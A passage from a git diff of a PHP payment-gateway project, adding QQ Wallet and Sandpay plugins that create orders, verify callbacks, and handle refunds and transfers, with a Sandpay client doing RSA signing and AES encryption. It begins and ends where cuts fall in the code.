]; + + try{ + $client = new PayPalClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $res = $client->refundPayment($order['api_trade_no'], $parameter); + $result = ['code'=>0, 'trade_no'=>$res['id'], 'refund_fee'=>$res['amount']['value']]; + }catch(Exception $e){ + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + +} \ No newline at end of file diff --git a/plugins/qqpay/inc/config.php b/plugins/qqpay/inc/config.php new file mode 100644 index 0000000..51a212e --- /dev/null +++ b/plugins/qqpay/inc/config.php @@ -0,0 +1,32 @@ + $channel['appid'], + + //商户API密钥 + 'apikey' => $channel['appkey'], + + //公众号APPID(可空) + 'appid' => '', + + //操作员账号(仅退款、撤销订单、企业付款时需要) + //创建操作员说明:https://kf.qq.com/faq/170112AZ7Fzm170112VNz6zE.html + 'op_userid' => $channel['appurl'], + + //操作员密码 + 'op_userpwd' => $channel['appmchid'], + + //商户证书路径(仅退款、撤销订单、企业付款时需要) + 'sslcert_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_cert.pem', + + //商户证书私钥路径 + 'sslkey_path' => PLUGIN_ROOT.$channel['plugin'].'/cert/apiclient_key.pem', +]; + +if(file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/apiclient_cert.pem') && file_exists(PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/apiclient_key.pem')){ + $qqpay_config['sslcert_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/apiclient_cert.pem'; + $qqpay_config['sslkey_path'] = PLUGIN_ROOT.$channel['plugin'].'/cert/'.$channel['appid'].'/apiclient_key.pem'; +} + +return $qqpay_config; \ No newline at end of file diff --git a/plugins/qqpay/qqpay_plugin.php b/plugins/qqpay/qqpay_plugin.php new file mode 100644 index 0000000..6c1ca60 --- /dev/null +++ b/plugins/qqpay/qqpay_plugin.php @@ -0,0 +1,286 @@ + 'qqpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'QQ钱包官方支付', //支付插件显示名称 + 'author' => 'QQ钱包', //支付插件作者 + 'link' => 'https://mp.qpay.tenpay.com/', //支付插件作者链接 + 'types' => ['qqpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['qqpay'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'QQ钱包商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => 'QQ钱包API密钥', + 'type' => 'input', + 'note' => '', + ], + 'appurl' => [ + 'name' => '操作员账号', + 'type' => 'input', + 'note' => '仅资金下发(如退款、企业付款)时需要', + ], + 'appmchid' => [ + 'name' => '操作员密码', + 'type' => 'input', + 'note' => '仅资金下发(如退款、企业付款)时需要', + ], + ], + 'select' => [ //选择已开启的支付方式 + '1' => '扫码支付(包含H5)', + '2' => '公众号支付', + ], + 'note' => '

    如需资金下发(如退款、企业付款)功能,请将API证书放置于/plugins/qqpay/cert/文件夹(或/plugins/qqpay/cert/商户ID/文件夹),并填写操作员账号和密码

    ', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + if(checkmobbileqq() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/jspay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/qrcode/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $device, $mdevice, $method; + + if($method=='app'){ + return self::apppay(); + }elseif($method=='jsapi'){ + return self::jspay(); + }elseif($method=='scan'){ + return self::scanpay(); + } + elseif($mdevice=='qq' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/jspay/'.TRADE_NO.'/']; + }else{ + return self::qrcode(); + } + } + + //扫码支付 + static public function qrcode(){ + global $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'out_trade_no' => TRADE_NO, + 'body' => $ordername, + 'fee_type' => 'CNY', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'spbill_create_ip' => $clientip, + 'total_fee' => strval($order['realmoney']*100), + ]; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $result = $client->nativePay($params); + $code_url = $result['code_url']; + //$code_url = 'https://myun.tenpay.com/mqq/pay/qrcode.html?_wv=1027&_bid=2183&t='.$result['prepay_id']; + }catch(Exception $e){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$e->getMessage()]; + } + + if(checkmobile() && !isset($_GET['qrcode'])){ + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$code_url]; + } + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$code_url]; + } + } + + //JS支付 + static public function jspay(){ + global $channel, $order, $ordername, $conf, $clientip, $method; + + $params = [ + 'out_trade_no' => TRADE_NO, + 'body' => $ordername, + 'fee_type' => 'CNY', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'spbill_create_ip' => $clientip, + 'total_fee' => strval($order['realmoney']*100), + ]; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $result = $client->jsapiPay($params); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$e->getMessage()]; + } + if($method == 'jsapi'){ + return ['type'=>'jsapi','data'=>$result]; + } + + return ['type'=>'page','page'=>'qqpay_jspay','data'=>$result]; + } + + //APP支付 + static public function apppay(){ + global $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'out_trade_no' => TRADE_NO, + 'body' => $ordername, + 'fee_type' => 'CNY', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'spbill_create_ip' => $clientip, + 'total_fee' => strval($order['realmoney']*100), + ]; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $result = $client->appPay($params); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$e->getMessage()]; + } + return ['type'=>'app','data'=>$result]; + } + + //付款码支付 + static public function scanpay(){ + global $channel, $order, $ordername, $conf, $clientip; + + $params = [ + 'out_trade_no' => TRADE_NO, + 'body' => $ordername, + 'fee_type' => 'CNY', + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'spbill_create_ip' => $clientip, + 'total_fee' => strval($order['realmoney']*100), + 'device_info' => '100001', + 'auth_code' => $order['auth_code'], + ]; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $result = $client->microPay($params); + if($result['trade_state'] == 'SUCCESS'){ + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }elseif($result['trade_state'] == 'USERPAYING'){ + sleep(2); + $retry = 0; + $success = false; + while($retry < 6){ + sleep(3); + try{ + $result = $client->orderQuery(null, TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>'QQ钱包支付失败!订单查询失败:'.$e->getMessage()]; + } + if($result['trade_state'] == 'SUCCESS'){ + $success = true; + break; + }elseif($result['trade_state'] != 'USERPAYING'){ + return ['type'=>'error','msg'=>'QQ钱包支付失败!'.$result['trade_state_desc']]; + } + $retry++; + } + if($success){ + processNotify($order, $result['transaction_id'], $result['openid']); + return ['type'=>'scan','data'=>['type'=>$order['typename'], 'trade_no'=>$result['out_trade_no'], 'api_trade_no'=>$result['transaction_id'], 'buyer'=>$result['openid'], 'money'=>strval(round($result['total_fee']/100, 2))]]; + }else{ + try{ + $client->reverse(null, TRADE_NO); + }catch(Exception $e){ + } + return ['type'=>'error','msg'=>'QQ钱包支付失败!订单已超时']; + } + }else{ + return ['type'=>'error','msg'=>'QQ钱包支付失败!'.$result['trade_state_desc']]; + } + }catch(Exception $e){ + return ['type'=>'error','msg'=>'QQ钱包支付下单失败!'.$e->getMessage()]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $isSuccess = true; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $data = $client->notify(); + if($data['out_trade_no'] == TRADE_NO && $data['total_fee']==strval($order['realmoney']*100)){ + processNotify($order, $data['transaction_id'], $data['openid']); + } + }catch(Exception $e){ + $isSuccess = false; + $errmsg = $e->getMessage(); + } + + $client->replyNotify($isSuccess, $errmsg); + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $params = [ + 'transaction_id' => $order['api_trade_no'], + 'out_refund_no' => $order['refund_no'], + 'refund_fee' => strval($order['refundmoney']*100), + ]; + $qqpay_config = require(PAY_ROOT.'inc/config.php'); + try{ + $client = new \QQPay\PaymentService($qqpay_config); + $result = $client->refund($params); + $result = ['code'=>0, 'trade_no'=>$result['transaction_id'], 'refund_fee'=>$result['refund_fee']]; + } catch(Exception $e) { + $result = ['code'=>-1, 'msg'=>$e->getMessage()]; + } + return $result; + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $money = strval($bizParam['money'] * 100); + $qqpay_config = require(PLUGIN_ROOT.'qqpay/inc/config.php'); + try{ + $client = new \QQPay\TransferService($qqpay_config); + $result = $client->transfer($bizParam['out_biz_no'], $bizParam['payee_account'], $bizParam['payee_real_name'], $money, $bizParam['transfer_desc']); + return ['code'=>0, 'status'=>1, 'orderid'=>$result['transaction_id'], 'paydate'=>date('Y-m-d H:i:s')]; + }catch(\QQPay\QQPayException $e){ + $result = $e->getResponse(); + return ['code'=>-1, 'errcode'=>$result['err_code'], 'msg'=>$e->getMessage()]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $qqpay_config = require(PLUGIN_ROOT.'qqpay/inc/config.php'); + try{ + $client = new \QQPay\TransferService($qqpay_config); + $result = $client->transferQuery($bizParam['out_biz_no']); + if($result['status'] == 'SUCCESS'){ + $status = 1; + }elseif($result['status'] == 'REFUND'){ + $status = 2; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'amount'=>round($result['total_fee']/100, 2), 'paydate'=>$result['transfer_time'], 'errmsg'=>'']; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/sandpay/cert/sand.cer b/plugins/sandpay/cert/sand.cer new file mode 100644 index 0000000..f27140f Binary files /dev/null and b/plugins/sandpay/cert/sand.cer differ diff --git a/plugins/sandpay/inc/SandpayClient.php b/plugins/sandpay/inc/SandpayClient.php new file mode 100644 index 0000000..e0f38e7 --- /dev/null +++ b/plugins/sandpay/inc/SandpayClient.php @@ -0,0 +1,156 @@ +accessMid = $accessMid; + $this->privateKeyPwd = $privateKeyPwd; + if(file_exists(PLUGIN_ROOT.'sandpay/cert/'.$accessMid.'.pfx')){ + $this->privateKeyPath = PLUGIN_ROOT.'sandpay/cert/'.$accessMid.'.pfx'; + } + if($isTest == 1){ + $this->apiUrl = 'https://openapi-uat01.sand.com.cn'; + } + $this->publicKey = $this->getPublicKey(); + $this->privateKey = $this->getPrivateKey(); + } + + //执行请求 + public function execute($path, $params){ + $aesKey = random(16); + ksort($params); + $data = json_encode($params, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + $this->request_body = $data; + $bizData = $this->aesEncrypt($data, $aesKey); + $encryptKey = $this->rsaPublicEncrypt($aesKey); + $publicParams = [ + 'accessMid' => $this->accessMid, + 'timestamp' => date('Y-m-d H:i:s'), + 'version' => $this->version, + 'signType' => $this->signType, + 'encryptType' => $this->encryptType, + 'encryptKey' => $encryptKey, + 'bizData' => $bizData, + ]; + $publicParams['sign'] = $this->rsaPrivateSign($publicParams['bizData']); + $json = json_encode($publicParams, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + $response = get_curl($this->apiUrl.$path, $json, 0, 0, 0, 0, 0, ['Content-Type: application/json; charset=utf-8']); + $result = json_decode($response, true); + if($result['respCode']=='success'){ + if(!$this->rsaPubilcVerify($result['bizData'], $result['sign'])){ + throw new \Exception('返回数据验签失败'); + } + $decryptAesKey = $this->rsaPrivateDecrypt($result['encryptKey']); + if(!$decryptAesKey){ + throw new \Exception('AES密钥解密失败'); + } + $decryptPlainText = $this->aesDecrypt($result['bizData'], $decryptAesKey); + if(!$decryptPlainText){ + throw new \Exception('AES解密失败'); + } + $this->response_body = $decryptPlainText; + $arr = json_decode($decryptPlainText, true); + if(!$arr){ + throw new \Exception('bizData解析失败'); + } + if($arr['resultStatus'] == 'fail'){ + throw new \Exception('['.$arr['errorCode'].']'.$arr['errorDesc']); + } + return $arr; + }elseif($result['respCode']=='fail'){ + throw new \Exception($result['respDesc']); + }else{ + throw new \Exception('返回数据解析失败'); + } + } + + public function verify($data, $sign){ + if(empty($sign)) return false; + return $this->rsaPubilcVerify($data, $sign); + } + + //AES加密 + private function aesEncrypt($data, $key){ + return openssl_encrypt($data, 'AES-128-ECB', $key); + } + + //AES解密 + private function aesDecrypt($data, $key){ + return openssl_decrypt($data, 'AES-128-ECB', $key); + } + + //杉德公钥 + private function getPublicKey() + { + $file = file_get_contents($this->publicKeyPath); + $cert = chunk_split(base64_encode($file), 64, "\n"); + $cert = "-----BEGIN CERTIFICATE-----\n" . $cert . "-----END CERTIFICATE-----\n"; + $res = openssl_pkey_get_public($cert); + if (!$res) { + throw new \Exception('从杉德公钥证书获取公钥失败'); + } + return $res; + } + + //商户私钥 + private function getPrivateKey() + { + $file = file_get_contents($this->privateKeyPath); + if (!openssl_pkcs12_read($file, $cert, $this->privateKeyPwd)) { + throw new \Exception('商户私钥证书解析失败'); + } + return openssl_pkey_get_private($cert['pkey']); + } + + //私钥加签 + private function rsaPrivateSign($data) + { + $result = openssl_sign($data, $sign, $this->privateKey, OPENSSL_ALGO_SHA256); + if (!$result) throw new \Exception('sign error'); + return base64_encode($sign); + } + + //公钥验签 + public function rsaPubilcVerify($data, $sign) + { + $result = openssl_verify($data, base64_decode($sign), $this->publicKey, OPENSSL_ALGO_SHA256); + return $result === 1; + } + + //公钥加密 + public function rsaPublicEncrypt($data) { + $encrypted = ''; + openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_PADDING); + return base64_encode($encrypted); + } + + //私钥解密 + public function rsaPrivateDecrypt($data) { + $decrypted = ''; + openssl_private_decrypt(base64_decode($data), $decrypted, $this->privateKey, OPENSSL_PKCS1_PADDING); + return $decrypted; + } +} \ No newline at end of file diff --git a/plugins/sandpay/sandpay_plugin.php b/plugins/sandpay/sandpay_plugin.php new file mode 100644 index 0000000..662ff5e --- /dev/null +++ b/plugins/sandpay/sandpay_plugin.php @@ -0,0 +1,506 @@ + 'sandpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '杉德支付', //支付插件显示名称 + 'author' => '杉德', //支付插件作者 + 'link' => 'https://www.sandpay.com.cn/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户编号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '私钥证书密码', + 'type' => 'input', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '环境选择', + 'type' => 'select', + 'options' => [0=>'生产环境',1=>'测试环境'], + ], + 'product' => [ + 'name' => '市场产品', + 'type' => 'select', + 'options' => ['QZF'=>'标准线上收款','CSDB'=>'企业杉德宝'], + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => 'JS支付', + ], + 'select_bank' => [ + '1' => '银联聚合码', + '2' => '快捷支付', + ], + 'select' => null, + 'note' => '将杉德公钥证书sand.cer、商户私钥证书client.pfx(或商户编号.pfx)上传到 /plugins/sandpay/cert/', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile() && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + if(in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/fastpay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>$siteurl.'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile' && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>$siteurl.'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + if(in_array('2',$channel['apptype'])){ + return self::fastpay(); + }else{ + return self::bank(); + } + } + } + + //统一下单 + static private function addOrder($pay_type, $pay_mode, $sub_openid = null, $sub_appid = null){ + global $channel, $order, $ordername, $conf, $clientip, $siteurl; + + require(PAY_ROOT."inc/SandpayClient.php"); + + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $params = [ + 'marketProduct' => $channel['product'], + 'outReqTime' => date('YmdHis'), + 'mid' => $channel['appid'], + 'outOrderNo' => TRADE_NO, + 'description' => $ordername, + 'goodsClass' => '01', + 'amount' => $order['realmoney'], + 'payType' => $pay_type, + 'payMode' => $pay_mode, + 'payerInfo' => [ + 'payAccLimit' => '', + ], + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'riskmgtInfo' => [ + 'sourceIp' => $clientip, + ], + ]; + if($sub_openid && $sub_appid){ + $params['payerInfo'] = [ + 'subAppId' => $sub_appid, + 'subUserId' => $sub_openid, + 'frontUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + }elseif($sub_openid){ + $params['payerInfo'] = [ + 'userId' => $sub_openid, + 'frontUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + global $channel; + $result = $client->execute('/v4/sd-receipts/api/trans/trans.order.create', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['sandSerialNo']); + if($channel['appswitch']==1){ + $log = "商户订单号:".TRADE_NO."\r\n【统一下单接口】请求报文:\r\n".$client->request_body."\r\n【统一下单接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + return $result['credential']; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('2',$channel['apptype']) && !in_array('1',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + }else{ + try{ + $result = self::addOrder('ALIPAY','QR'); + $code_url = $result['qrCode']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $result = self::addOrder('ALIPAY', 'JSAPI', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['tradeNo'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl, $device, $mdevice; + try{ + $result = self::addOrder('WXPAY','QR'); + $code_url = $result['qrCode']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if (checkwechat() || $mdevice=='wechat') { + return ['type'=>'jump','url'=>$code_url]; + } elseif (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $payinfo = self::addOrder('WXPAY','JSAPI',$openid,$wxinfo['appid']); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($payinfo), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $payinfo = self::addOrder('WXPAY','MINI',$openid,$wxinfo['appid']); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($payinfo, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $result = self::addOrder('CUPPAY','QR'); + $code_url = $result['qrCode']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //快捷支付 + static public function fastpay(){ + if(!empty($_COOKIE['sandpay_user_id'])){ + $user_id = $_COOKIE['sandpay_user_id']; + }else{ + $user_id = substr(getSid(), 0, 10); + setcookie('sandpay_user_id', $user_id, time()+3600*24*365, '/'); + } + try{ + $result = self::addOrder('FASTPAY','SANDH5',$user_id); + $jump_url = $result['cashierUrl']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$jump_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $sign = $_POST['sign']; //签名 + $data = $_POST['bizData']; //支付数据 + + require(PAY_ROOT."inc/SandpayClient.php"); + + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $verifyFlag = $client->verify($data, $sign); + + if($verifyFlag){ + $array = json_decode($data, true); + + if($channel['appswitch']==1){ + $params = [ + 'outReqTime' => date('YmdHis'), + 'mid' => $channel['appid'], + 'outOrderNo' => $array['outOrderNo'], + ]; + try{ + $client->execute('/v4/sd-receipts/api/trans/trans.order.query', $params); + }catch(Exception $e){ + //return ['type'=>'error','msg'=>'订单查询失败 '.$ex->getMessage()]; + } + $log = "商户订单号:".TRADE_NO."\r\n异步通知:\r\n".$data."\r\n【订单查询接口】请求报文:\r\n".$client->request_body."\r\n【订单查询接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + + if($array['orderStatus'] == 'success'){ + $out_trade_no = $array['outOrderNo']; + $trade_no = $array['sandSerialNo']; + $money = $array['amount']; + $buyer = $array['payer']['payerAccNo']; + if($out_trade_no == TRADE_NO){ + processNotify($order, $trade_no, $buyer); + } + return ['type'=>'html','data'=>'respCode=000000']; + } + } + return ['type'=>'html','data'=>'respCode=020002']; + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + + //退款 + static public function refund($order){ + global $channel, $conf; + if(empty($order))exit(); + + require(PAY_ROOT."inc/SandpayClient.php"); + + $params = [ + 'marketProduct' => $channel['product'], + 'outReqTime' => date('YmdHis'), + 'mid' => $channel['appid'], + 'outOrderNo' => $order['refund_no'], + 'oriOutOrderNo' => $order['trade_no'], + 'amount' => $order['refundmoney'], + 'notifyUrl' => $conf['localurl'].'pay/refundnotify/'.TRADE_NO.'/', + ]; + try{ + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->execute('/v4/sd-receipts/api/trans/trans.order.refund', $params); + if($channel['appswitch']==1){ + $log = "商户订单号:".$order['trade_no']."\r\n【退货接口】请求报文:\r\n".$client->request_body."\r\n【退货接口】响应报文:\r\n".$client->response_body."\r\n\r\n"; + file_put_contents(PAY_ROOT.'logs/'.date('Ymd').'.log', $log, FILE_APPEND); + } + return ['code'=>0, 'trade_no'=>$result['sandSerialNo'], 'refund_fee'=>$result['amount']]; + }catch(Exception $ex){ + return ['code'=>-1,'msg'=>$ex->getMessage()]; + } + } + + //退款回调 + static public function refundnotify(){ + global $channel, $order; + + $sign = $_POST['sign']; //签名 + $data = $_POST['bizData']; //支付数据 + + require(PAY_ROOT."inc/SandpayClient.php"); + + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $verifyFlag = $client->verify($data, $sign); + + if($verifyFlag){ + $array = json_decode($data, true); + if($array['orderStatus'] == 'success'){ + $out_trade_no = $array['outOrderNo']; + $trade_no = $array['sandSerialNo']; + $money = $array['amount']; + return ['type'=>'html','data'=>'respCode=000000']; + } + } + return ['type'=>'html','data'=>'respCode=020002']; + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT.'sandpay/inc/SandpayClient.php'); + + $params = [ + 'mid' => $channel['appid'], + 'outOrderNo' => $bizParam['out_biz_no'], + 'amount' => $bizParam['money'], + 'payeeInfo' => [ + 'accType' => 'cup', + 'accNo' => $bizParam['payee_account'], + 'accName' => $bizParam['payee_real_name'], + ], + 'payerInfo' => [ + 'sdaccSubId' => 'payment', + 'remark' => $bizParam['transfer_desc'], + ], + ]; + + try{ + $client = new SandpayClient($channel['appid'], $channel['appkey'], $channel['appswitch']); + $result = $client->execute('/v4/sd-payment/api/trans/trans.payment.order.create', $params); + $status = $result['paymentStatus'] == 'success' ? 1 : 0; + if($channel['appswitch']==1){ + $log = 